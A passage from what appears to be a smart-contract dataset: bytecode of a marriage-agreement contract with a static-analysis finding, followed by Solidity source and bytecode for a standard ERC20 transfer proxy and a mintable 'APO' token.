9055604080518082018252600f81527f4d61727269616765207369676e656400000000000000000000000000000000006020808301919091528251606081018452602281527f536d61727420436f6e7472616374207369676e656420627920506172746e6572918101919091527f203100000000000000000000000000000000000000000000000000000000000092810192909252610fa19161201d565b611051565b600e805461ff001916610100179055604080518082018252600f81527f4d61727269616765207369676e656400000000000000000000000000000000006020808301919091528251606081018452602281527f536d61727420436f6e7472616374207369676e656420627920506172746e6572918101919091527f2032000000000000000000000000000000000000000000000000000000000000928101929092526110519161201d565b600e5460ff16801561106a5750600e54610100900460ff165b1561108957600e805466ff000000000000191666010000000000001790555b565b60005433600160a060020a03908116911614806110b6575060045433600160a060020a039081169116145b80156110d5575060065460026000196101006001841615020190911604155b15156110e057600080fd5b80516110f39060069060208401906126af565b5050565b60005433600160a060020a0390811691161480611122575060035433600160a060020a039081169116145b8061113b575060045433600160a060020a039081169116145b151561114657600080fd5b80516110f390600a9060208401906126af565b6007805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b6011805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b60135481565b6010805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b60035433600160a060020a039081169116141561133857600e805464ff000000001916640100000000179055604080518082018252601c81527f566f7465202d204368616e6765204d61726974616c20537461747573000000006020808301919091528251606081018452602981527f506172746e6572203120766f74656420746f2075706461746564204d61726974918101919091527f616c205374617475730000000000000000000000000000000000000000000000928101929092526113389161201d565b60045433600160a060020a039081169116141561108957600e805465ff0000000000191665010000000000179055604080518082018252601c81527f566f7465202d204368616e6765204d61726974616c20537461747573000000006020808301919091528251606081018452602981527f506172746e6572203220766f74656420746f2075706461746564204d61726974918101919091527f616c205374617475730000000000000000000000000000000000000000000000928101929092526110899161201d565b60005433600160a060020a039081169116148061142d575060035433600160a060020a039081169116145b80611446575060045433600160a060020a039081169116145b801561145f5750600e5462010000900460ff1615156001145b80156114795750600e546301000000900460ff1615156001145b151561148457600080fd5b805161149790600b9060208401906126af565b5061150c6040805190810160405280600f81526020017f557064617465202d205072656e757000000000000000000000000000000000008152506040805190810160405280601c81526020017f5072656e75707469616c2041677265656d656e7420557064617465640000000081525061201d565b50600e805463ffff000019169055565b60005433600160a060020a0390811691161480611547575060035433600160a060020a039081169116145b80611560575060045433600160a060020a039081169116145b801561157b5750600e54640100000000900460ff1615156001145b80156115975750600e5465010000000000900460ff1615156001145b15156115a257600080fd5b604080518082018252601681527f4d61726974616c2073746174757320757064617465640000000000000000000060208083019190915282518084018452601c81527f4d61726974616c20737461747573206368616e6765642066726f6d20000000008183015260088054855160026001831615610100026000190190921691909104601f81018590048502820185019096528581526116da956116d5949192918301828280156116945780601f1061166957610100808354040283529160200191611694565b820191906000526020600020905b81548152906001019060200180831161167757829003601f168201915b50505050506040805190810160405280600481526020017f20746f2000000000000000000000000000000000000000000000000000000000815250866121dc565b61201d565b80516116ed9060089060208401906126af565b5050600e805465ffff0000000019169055565b60035433600160a060020a0390811691161461171b57600080fd5b805161172e90600c9060208401906126af565b506117a36040805190810160405280600d81526020017f557064617465202d2057696c6c000000000000000000000000000000000000008152506040805190810160405280601681526020017f506172746e657220312057696c6c20557064617465640000000000000000000081525061201d565b50565b600f805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b60045433600160a060020a0390811691161461181c57600080fd5b805161182f90600d9060208401906126af565b506117a36040805190810160405280600d81526020017f557064617465202d2057696c6c000000000000000000000000000000000000008152506040805190810160405280601681526020017f506172746e657220322057696c6c20557064617465640000000000000000000081525061201d565b600e54610100900460ff1681565b60128054829081106118c057fe5b9060005260206000209060040201600091509050806000015490806001018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119725780601f1061194757610100808354040283529160200191611972565b820191906000526020600020905b81548152906001019060200180831161195557829003601f168201915b50505060028085018054604080516020601f6000196101006001871615020190941695909504928301859004850281018501909152818152959695945090925090830182828015611a045780601f106119d957610100808354040283529160200191611a04565b820191906000526020600020905b8154815290600101906020018083116119e757829003601f168201915b5050505060038301805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152949594935090830182828015611a945780601f10611a6957610100808354040283529160200191611a94565b820191906000526020600020905b815481529060010190602001808311611a7757829003601f168201915b5050505050905084565b600054600160a060020a031681565b600e5460ff1681565b600454600160a060020a031681565b600e546301000000900460ff1681565b600e5462010000900460ff1681565b60005433600160a060020a0390811691161480611b0f575060035433600160a060020a039081169116145b80611b28575060045433600160a060020a039081169116145b1515611b3357600080fd5b611b3e838383612204565b505050565b60035433600160a060020a0390811691161415611c0757600e805462ff0000191662010000179055604080518082018252601481527f566f7465202d20557064617465205072656e75700000000000000000000000006020808301919091528251606081018452603081527f506172746e6572203120766f74656420746f2075706461746564205072656e75918101919091527f707469616c204167677265656d656e740000000000000000000000000000000092810192909252611c079161201d565b60045433600160a060020a039081169116141561108957600e805463ff00000019166301000000179055604080518082018252601481527f566f7465202d20557064617465205072656e75700000000000000000000000006020808301919091528251606081018452603081527f506172746e6572203220766f74656420746f2075706461746564205072656e75918101919091527f707469616c204167677265656d656e7400000000000000000000000000000000928101929092526110899161201d565b6002805460408051602060018416156101000260001901909316849004601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b600e546601000000000000900460ff1681565b60005433600160a060020a0390811691161480611d63575060035433600160a060020a039081169116145b8015611d82575060055460026000196101006001841615020190911604155b1515611d8d57600080fd5b80516110f39060059060208401906126af565b600e5465010000000000900460ff1681565b6008805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b6005805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b6006805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b60155481565b60005433600160a060020a03908116911614611ee457600080fd5b600160a060020a0381161515611ef957600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60018054604080516020600284861615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b60005433600160a060020a0390811691161480611fe6575060035433600160a060020a039081169116145b80611fff575060045433600160a060020a039081169116145b151561200a57600080fd5b80516110f39060099060208401906126af565b6040805160608101825242815260208082018581529282018490526014805460018101808355600092909252835160039091027fce6d7b5282bd9a3661ae061feed1dbda4e52ab073b1f9285be6e155d9c38d4ec810191825594518051929591936120af937fce6d7b5282bd9a3661ae061feed1dbda4e52ab073b1f9285be6e155d9c38d4ed909301929101906126af565b50604082015180516120cb9160028401916020909101906126af565b505050507fae56b0614107bf954efff11d443ef9b9432505024bad7d3a4d33bcc3cc5dcdd78282604051808060200180602001838103835285818151815260200191508051906020019080838360005b8381101561213357818101518382015260200161211b565b50505050905090810190601f1680156121605780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b8381101561219357818101518382015260200161217b565b50505050905090810190601f1680156121c05780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a15050601580546001019055565b60606121fb85858585602060405190810160405280600081525061244e565b95945050505050565b604080516080810182524281526020808201868152928201859052606082018490526012805460018101808355600092909252835160049091027fbb8a6a4669ba250d26cd7a459eca9d215f8307e33aebe50379bc5a3617ec34448101918255945180519295919361229d937fbb8a6a4669ba250d26cd7a459eca9d215f8307e33aebe50379bc5a3617ec3445909301929101906126af565b50604082015180516122b99160028401916020909101906126af565b50606082015180516122d59160038401916020909101906126af565b505050507ffc4639d1c1eb99ac0bd5e4e5b8df8f11d69675ddbfe12139e6712e931403c39483838360405180806020018060200180602001848103845287818151815260200191508051906020019080838360005b8381101561234257818101518382015260200161232a565b50505050905090810190601f16801561236f5780820380516001836020036101000a031916815260200191505b50848103835286518152865160209182019188019080838360005b838110156123a257818101518382015260200161238a565b50505050905090810190601f1680156123cf5780820380516001836020036101000a031916815260200191505b50848103825285518152855160209182019187019080838360005b838110156124025781810151838201526020016123ea565b50505050905090810190601f16801561242f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a1505060138054600101905550565b6060806060806060806060806000808e98508d97508c96508b95508a94508451865188518a518c51010101016040519080825280601f01601f1916602001820160405280156124a7578160200160208202803883390190505b50935083925060009150600090505b88518110156125145788818151811015156124cd57fe5b90602001015160f860020a900460f860020a0283838060010194508151811015156124f457fe5b906020010190600160f860020a031916908160001a9053506001016124b6565b5060005b875181101561257657878181518110151561252f57fe5b90602001015160f860020a900460f860020a02838380600101945081518110151561255657fe5b906020010190600160f860020a031916908160001a905350600101612518565b5060005b86518110156125d857868181518110151561259157fe5b90602001015160f860020a900460f860020a0283838060010194508151811015156125b857fe5b906020010190600160f860020a031916908160001a90535060010161257a565b5060005b855181101561263a5785818151811015156125f357fe5b90602001015160f860020a900460f860020a02838380600101945081518110151561261a57fe5b906020010190600160f860020a031916908160001a9053506001016125dc565b5060005b845181101561269c57848181518110151561265557fe5b90602001015160f860020a900460f860020a02838380600101945081518110151561267c57fe5b906020010190600160f860020a031916908160001a90535060010161263e565b50909d9c50505050505050505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106126f057805160ff191683800117855561271d565b8280016001018555821561271d579182015b8281111561271d578251825591602001919060010190612702565b5061272992915061272d565b5090565b61274791905b808211156127295760008155600101612733565b905600a165627a7a72305820e874e56566ad593d7bb598c798b73b81c2dce39ce42391f22a3353447bf2d2cc0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,313 |
0xf2A172F33e4f69Ad048d69b42ac5933Bf8F6072E
|
pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract OperatorRole is Context {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
constructor () internal {
}
modifier onlyOperator() {
require(isOperator(_msgSender()), "OperatorRole: caller does not have the Operator role");
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
contract OwnableOperatorRole is Ownable, OperatorRole {
function addOperator(address account) public onlyOwner {
_addOperator(account);
}
function removeOperator(address account) public onlyOwner {
_removeOperator(account);
}
}
contract AuctionERC20TransferProxy is OwnableOperatorRole {
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator {
require(token.transferFrom(from, to, value), "failure while transferring");
}
function userBalance(IERC20 token, address user) external returns(uint256) {
return token.balanceOf(user);
}
}
|
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638da5cb5b116100665780638da5cb5b146100fe5780638f32d59b146101135780639870d7fe1461011b578063ac8a584a1461012e578063f2fde38b1461014157610093565b806362a4b0a9146100985780636d70f7ae146100c1578063715018a6146100e1578063776062c3146100eb575b600080fd5b6100ab6100a636600461065a565b610154565b6040516100b891906109b8565b60405180910390f35b6100d46100cf366004610616565b6101dc565b6040516100b8919061093a565b6100e96101ef565b005b6100e96100f9366004610694565b610266565b610106610331565b6040516100b89190610904565b6100d4610340565b6100e9610129366004610616565b610364565b6100e961013c366004610616565b610394565b6100e961014f366004610616565b6103c1565b6040516370a0823160e01b81526000906001600160a01b038416906370a0823190610183908590600401610904565b60206040518083038186803b15801561019b57600080fd5b505afa1580156101af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506101d391908101906106f5565b90505b92915050565b60006101d660018363ffffffff6103ee16565b6101f7610340565b61021c5760405162461bcd60e51b815260040161021390610988565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6102716100cf610436565b61028d5760405162461bcd60e51b815260040161021390610968565b6040516323b872dd60e01b81526001600160a01b038516906323b872dd906102bd90869086908690600401610912565b602060405180830381600087803b1580156102d757600080fd5b505af11580156102eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061030f919081019061063c565b61032b5760405162461bcd60e51b8152600401610213906109a8565b50505050565b6000546001600160a01b031690565b600080546001600160a01b0316610355610436565b6001600160a01b031614905090565b61036c610340565b6103885760405162461bcd60e51b815260040161021390610988565b6103918161043a565b50565b61039c610340565b6103b85760405162461bcd60e51b815260040161021390610988565b61039181610482565b6103c9610340565b6103e55760405162461bcd60e51b815260040161021390610988565b610391816104ca565b60006001600160a01b0382166104165760405162461bcd60e51b815260040161021390610998565b506001600160a01b03166000908152602091909152604090205460ff1690565b3390565b61044b60018263ffffffff61054b16565b6040516001600160a01b038216907fac6fa858e9350a46cec16539926e0fde25b7629f84b5a72bffaae4df888ae86d90600090a250565b61049360018263ffffffff61059716565b6040516001600160a01b038216907f80c0b871b97b595b16a7741c1b06fed0c6f6f558639f18ccbce50724325dc40d90600090a250565b6001600160a01b0381166104f05760405162461bcd60e51b815260040161021390610958565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61055582826103ee565b156105725760405162461bcd60e51b815260040161021390610948565b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b6105a182826103ee565b6105bd5760405162461bcd60e51b815260040161021390610978565b6001600160a01b0316600090815260209190915260409020805460ff19169055565b80356101d6816109f9565b80516101d681610a0d565b80356101d681610a16565b80356101d681610a1f565b80516101d681610a1f565b60006020828403121561062857600080fd5b600061063484846105df565b949350505050565b60006020828403121561064e57600080fd5b600061063484846105ea565b6000806040838503121561066d57600080fd5b600061067985856105f5565b925050602061068a858286016105df565b9150509250929050565b600080600080608085870312156106aa57600080fd5b60006106b687876105f5565b94505060206106c7878288016105df565b93505060406106d8878288016105df565b92505060606106e987828801610600565b91505092959194509250565b60006020828403121561070757600080fd5b6000610634848461060b565b61071c816109cf565b82525050565b61071c816109da565b6000610738601f836109c6565b7f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500815260200192915050565b60006107716026836109c6565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526564647265737360d01b602082015260400192915050565b60006107b96034836109c6565b7f4f70657261746f72526f6c653a2063616c6c657220646f6573206e6f74206861815273766520746865204f70657261746f7220726f6c6560601b602082015260400192915050565b600061080f6021836109c6565b7f526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c8152606560f81b602082015260400192915050565b60006108526020836109c6565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572815260200192915050565b600061088b6022836109c6565b7f526f6c65733a206163636f756e7420697320746865207a65726f206164647265815261737360f01b602082015260400192915050565b60006108cf601a836109c6565b7f6661696c757265207768696c65207472616e7366657272696e67000000000000815260200192915050565b61071c816109f6565b602081016101d68284610713565b606081016109208286610713565b61092d6020830185610713565b61063460408301846108fb565b602081016101d68284610722565b602080825281016101d68161072b565b602080825281016101d681610764565b602080825281016101d6816107ac565b602080825281016101d681610802565b602080825281016101d681610845565b602080825281016101d68161087e565b602080825281016101d6816108c2565b602081016101d682846108fb565b90815260200190565b60006101d6826109ea565b151590565b60006101d6826109cf565b6001600160a01b031690565b90565b610a02816109cf565b811461039157600080fd5b610a02816109da565b610a02816109df565b610a02816109f656fea365627a7a7231582063d574bf0f69550048427e0e2dc69bf5a264532d23b9db9804f29097c90712026c6578706572696d656e74616cf564736f6c63430005100040
|
{"success": true, "error": null, "results": {}}
| 6,314 |
0xECE34e1d1F3d2d8b804699A282138E670a31E330
|
pragma solidity ^0.4.21;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract APOToken is MintableToken {
string public name = "Advanced Parimutuel Options";
string public symbol = "APO";
uint8 public decimals = 18;
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde031461011a578063095ea7b3146101aa57806318160ddd1461020f57806323b872dd1461023a578063313ce567146102bf57806340c10f19146102f0578063661884631461035557806370a08231146103ba5780637d64bcb4146104115780638da5cb5b1461044057806395d89b4114610497578063a9059cbb14610527578063d73dd6231461058c578063dd62ed3e146105f1578063f2fde38b14610668575b600080fd5b3480156100f757600080fd5b506101006106ab565b604051808215151515815260200191505060405180910390f35b34801561012657600080fd5b5061012f6106be565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016f578082015181840152602081019050610154565b50505050905090810190601f16801561019c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b657600080fd5b506101f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061075c565b604051808215151515815260200191505060405180910390f35b34801561021b57600080fd5b5061022461084e565b6040518082815260200191505060405180910390f35b34801561024657600080fd5b506102a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610858565b604051808215151515815260200191505060405180910390f35b3480156102cb57600080fd5b506102d4610c12565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102fc57600080fd5b5061033b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c25565b604051808215151515815260200191505060405180910390f35b34801561036157600080fd5b506103a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e0b565b604051808215151515815260200191505060405180910390f35b3480156103c657600080fd5b506103fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061109c565b6040518082815260200191505060405180910390f35b34801561041d57600080fd5b506104266110e4565b604051808215151515815260200191505060405180910390f35b34801561044c57600080fd5b506104556111ac565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104a357600080fd5b506104ac6111d2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ec5780820151818401526020810190506104d1565b50505050905090810190601f1680156105195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561053357600080fd5b50610572600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611270565b604051808215151515815260200191505060405180910390f35b34801561059857600080fd5b506105d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061148f565b604051808215151515815260200191505060405180910390f35b3480156105fd57600080fd5b50610652600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168b565b6040518082815260200191505060405180910390f35b34801561067457600080fd5b506106a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611712565b005b600360149054906101000a900460ff1681565b60048054